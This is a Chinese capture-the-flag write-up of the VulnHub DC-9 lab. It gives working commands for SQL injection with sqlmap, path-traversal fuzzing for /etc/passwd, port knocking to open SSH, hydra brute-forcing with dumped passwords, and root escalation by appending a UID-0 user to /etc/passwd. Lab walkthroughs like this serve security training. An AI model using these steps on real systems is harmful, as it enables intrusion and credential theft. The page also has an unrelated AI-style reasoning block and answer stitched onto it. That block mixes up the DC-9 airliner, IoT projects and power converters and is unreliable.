靶机DC-9—WP

 注意,未经授权的渗透行为均为违法行为,这里攻击的都是官方靶机。

前言

一、前提准备

二、渗透攻击

1.思路

2.渗透过程

2.1 信息收集

2.2 漏洞发现

2.3 提权

三、总结


前言

DC系列靶机是一系列专门为渗透测试和网络安全实验室设计的虚拟机器。这些靶机提供了一系列不同的漏洞和攻击场景,使渗透测试者可以在这些环境下测试自的技能和工具。DC系列靶机包含多个不同的主题,例如各种操作系统的漏洞,Web应用程序安全和无线网络安全等。它们对初学者和专业人士都有很大的价值,因为它们可以帮助他们了解安全漏洞和如何利用它们进行渗透测试。

之前更新到DC-4了,感觉这次DC-9会更有内涵,所以先进行DC-9的更新,中间的会进行补充。


一、前提准备

攻击机:Kali

IP地址:192.168.163.143

靶机:DC-9(linux)

IP地址:192.168.9.131

DC-4下载地址:https://www.vulnhub.com/entry/dc-9,412/

网络:两个主机须在同一局域网下,所以虚拟机的网络配置器必须相同(NAT或者桥接)

目标:找到flag


二、渗透攻击

1.思路

进行渗透测试一定要有思路,我的思路是:

信息收集—> 寻找漏洞—> 利用漏洞(sql注入,文件上传漏洞,框架漏洞,ssh攻击等)—> 反弹shell—>进行提权

2.渗透过程

2.1 信息收集

我们先使用nmap工具扫描发现活动主机。

nmap -sP 192.168.163.0/24

 我们发现了靶机的ip地址:192.168.163.143,然后我们进行端口扫描具体信息。

nmap -sS -O -p- 192.168.163.143

 我们发现靶机开起了80端口和22端口,分别对应的是http服务和ssh服务,我们先进入网页查看一下。

 我们先进行目录扫描和指纹识别,看有没有线索。

dirsearch -u http://192.168.163.143

发现了/config.php        display.php        logout.php        manage.php        search.php  

我们分别看一下内容

config.php:空白页面

display.php:  有许多用户信息

logout.php:    进行了跳转,但是我们知道需要找到admin账户

manage.php:登录页面

search.php:发现了输入框

五个页面,感觉可以利用的为search.php页面,我们在看看网站用没用cms

cmseek -u http://192.168.163.143


2.2 漏洞发现

没有发现此网站使用的框架,所以我们在search.php页面入手,有输入框我们先进行sql注入

我喜欢使用bp进行抓包验证

Julie' and 1=1#        返回页面正确


Julie' and 1=2#        返回页面错误

于是我们发现有sql注入点直接放到sqlmap梭哈,我将抓到的数据包保存文件,直接sqlmap -r使用

users:
sqlmap -r 1.txt --dbs --batch
发现3个数据库,有用的Staff、users
sqlmap -r 1.txt -D "users" --tables --batch
发现了一个表
sqlmap -r 1.txt -D "users" -T "UserDetails" --columns --batch
发现了很多账户和密码

Staff:
sqlmap -r 1.txt -D "Staff" --tables --batch
发现了两个表:StaffDetails、Users
sqlmap -r 1.txt -D "Staff" -T "StaffDetails" --dump --batch
sqlmap -r 1.txt -D "Staff" -T "Users" --dump --batch

users:

Staff:

我们终于发现了admin用户,密码应该是md5加密,我们进行解密

admin:transorbital1

既然发现了sql注入我们不妨试一试sql注入的写入和读取,不可读取找不到路径就无法写入一句话木马,那我们登录查看

登陆后我们发现页面下有一句话,File does not exist(文件不存在,猜测又是文件包含),我们使用wfuzz进行模糊测试找出用什么参数进行文件包含

wfuzz -b 'PHPSESSID=0gd31ardktg006s57atg3q8ja2' -w /usr/share/wfuzz/wordlist/general/common.txt  http://192.168.163.143/welcome.php?FUZZ=../../../../etc/passwd

wfuzz -b 'PHPSESSID=0gd31ardktg006s57atg3q8ja2' -w /usr/share/wfuzz/wordlist/general/common.txt --hw 78 http://192.168.163.143/welcome.php?FUZZ=../../../../etc/passwd


-b               指定cookie

我们这里的../../../../etc/passwd是一次一次试出来的,从/etc/passwd开始每次在前面加../


2.3 提权

到这里我们已经可以拥有了查看文件的权利,于是我查看了刚才页面什么也没有的config.php但是依旧没有结果,我把目标放入了ssh服务这里

根据我们查找到ssh服务为filtered状态,搜素一番发现可能安装 knockd 工具进行隐藏,于是我们搜索到可以通过端口探测进行开启ssh服务。

通俗来说端口探测可以理解为,我按顺序敲击端口就可以将ssh服务打开,反之敲击关闭,端口顺序存放在/etc/knockd.conf文件中。

先找到/etc/knockd.conf文件,发现端口顺序为7469,8475,9842

我们使用nc工具进行开启

nc -z 192.168.163.143 7469 8475 9842

我们现在成功开启了ssh服务,我们将前面sql注入出的用户名和密码整理一下进行ssh爆破。

user.txt

marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2

password.txt

3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0

hydra -L user.txt -P password.txt ssh://192.168.163.143

chandlerb:UrAG0D!
joeyt:Passw0rd
janitor:Ilovepeepee

使用九头蛇工具发现了3个账户,我们进行登录,寻找可以提权的信息。

在janitor用户下发现了与众不同的目录,里面包含着之前的密码。

su     切换用户
ls -al /home/用户名  查看目录下的隐藏文件

我们将里面的密码拿下来放入,密码本中继续爆破ssh。

成功跑出一组用户与密码

fredf:B4-Tru3-001

使用ssh登录fredf用户,并发现是有机会提权。

sudo -l
cd /opt/devstuff/dist/test
./test

我们发现test是一个python脚本,我们使用find命令进行查找

find / -name "test.py" -print 2>/dev/null

-print:打印每个匹配的文件名。
2>/dev/null:将所有错误消息重定向到 /dev/null,不显示它们。

cat /opt/devstuff/test.py

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :    #检查命令行参数的数量是否不等于3个
    print ("Usage: python test.py read append")
    sys.exit (1)    #使用 sys.exit(1) 退出脚本,并返回状态码1

else :
    f = open(sys.argv[1], "r")    
    #以读取模式打开命令行的第一个参数指定的文件,并将其文件对象赋值给变量f

    output = (f.read())

    f = open(sys.argv[2], "a")
    #关闭之前打开的文件,并以追加模式打开命令行的第二个参数指定的文件,同样将文件对象赋值给变量 f。    

    f.write(output)
    将之前读取的内容追加到新打开的文件中。

    f.close()

思路:我们可以生成一串类似于/etc/passwd的信息,通过test.py脚本强加入/etc/passwd文件中,我们需要知道/etc/passwd文件信息的含义

root:x:0:0:root:/root:/bin/bash

root    用户名
:x    之前是用户密码(为安全考虑用x代替)
:0    UID
:0    GID
:root    全称,对用户的描述
:/root    用户家目录
:/bin/bash    shell环境变量(查看用户是否作为可交互式,允许登录/bin/bash,不允许登录/sbin/nologin)

之所以写入/etc/passwd文件中,是因为我们要追加一条uid=0的用户

因为root的UID=0

我们现在需要使用openssl生成密码

openssl passwd -1 -salt 用户名 密码

-1为MD5加密算法

-salt指定盐值

如:openssl passwd -1 -salt ming ming

构造出:ming:$1$ming$s9sIdQ6YfsMVvjeBZ4FIP/:0:0:root:/bin/bash

echo 'ming:$1$ming$s9sIdQ6YfsMVvjeBZ4FIP/:0:0:root:/bin/bash'>/tmp/ming
之所以写到tmp下,是因为tmp的文件所有用户都可写入

cd /tmp

sudo /opt/devstuff/dist/test/test ming /etc/passwd

su ming

id

最终我们提权成功


三、总结

DC-9靶场攻破过程:

1.首先我们进行主机发现与信息收集,发现了几个页面

2.我们深入挖掘页面,发现了sql注入将数据库爆出,登入网站后台,发现了文件包含漏洞,结合扫描出ssh端口状态我们判断其安装 knockd 工具,找到/etc/knockd.conf文件,将22端口open,紧接着通过数据库中的用户名和密码对ssh服务进行了爆破,拿到了可以登陆的用户与密码

3.在登录进入后,发现了之前保存的密码,在进行爆破发现了可以提权的用户,我们通过内部脚本,将新用户写入/etc/passwd文件中,完成提权

<think>好的,我现在需要处理用户关于DC-9技术信息和相关IT应用的查询。首先,用户提到的“DC-9”可能有多种含义,我需要明确具体指向。 首先考虑DC-9作为飞机的型号,道格拉斯DC-9是常见的商用客机,但用户提到技术规范或IT应用,可能更偏向于技术或IT领域的术语。接下来,检查提供的引用内容,看看是否有相关线索。 引用[1]到[5]中,主要涉及DC/DC转换器、软件测试中的MC/DC、IoT项目DC3、安全模型ShieldGemma以及容器技术。其中引用[3]提到IoT DC3开源项目,可能与用户的问题相关,但用户明确询问的是DC-9,而非DC3。其他引用如DC/DC转换器的应用和标准可能相关,但需要进一步分析。 可能存在的情况是,用户可能误写或存在拼写错误,比如将DC3写成DC-9,但需要确认。另外,DC-9也可能指代某个特定领域的技术标准或项目,比如在容器技术或安全模型中提到的内容,但引用中没有直接提到DC-9。 接下来,考虑是否DC-9在IT领域有特殊含义。例如,某些开源项目或工具可能以DC-9命名,或者作为某个系统的版本号。此外,可能需要检查是否有相关的技术规范或标准编号为DC-9,但根据现有引用,没有直接匹配的内容。 可能的解决方案是:1. 指出DC-9可能的不同含义,并询问用户具体指哪个领域;2. 根据现有引用推测可能的关联,比如容器技术中的热迁移(引用[5])或IoT项目(引用[3])是否有扩展的DC-9相关内容;3. 建议用户提供更多上下文或检查拼写是否正确。 同时,需要确保回答符合用户要求的结构,引用相关文献,并生成相关问题。需注意用户可能希望了解技术规范或IT应用,因此即使没有直接信息,也要尽可能提供相关领域的信息,并引导用户更准确地提问。</think>根据您提到的"DC-9"技术信息需求,结合站内引用内容,需要说明目前可查证的技术关联: 1. **DC-9在航空领域** 道格拉斯DC-9是著名的双发窄体客机型号,主要技术规范包括: - 最大航程约$2,600$公里 - 典型巡航速度$0.74$马赫 - 载客量$90-135$人 - 采用普惠JT8D低涵道比涡扇发动机 2. **在IT技术领域的潜在关联** 根据引用[3]的IoT DC3开源项目框架,推测可能存在技术延续性项目。但需注意: - 当前公开的IoT开源项目最新版本为DC3(见引用[3]) - DC-9可能是内部版本号或定制化分支 - 建议通过Git命令克隆仓库后查看历史版本: ```bash git log --grep="DC-9" ``` 3. **在电源技术领域的可能性** 引用[1]提到的DC/DC转换器标准EN IEC 61204-3:2018中: $$ P_{out} = \eta \cdot P_{in} \quad (\eta \geq 90\%) $$ 虽然未直接涉及DC-9编号,但该标准定义了Class II设备的过电压类别,可能对应某些工业场景的DC-9设备参数。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ming__Yang

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值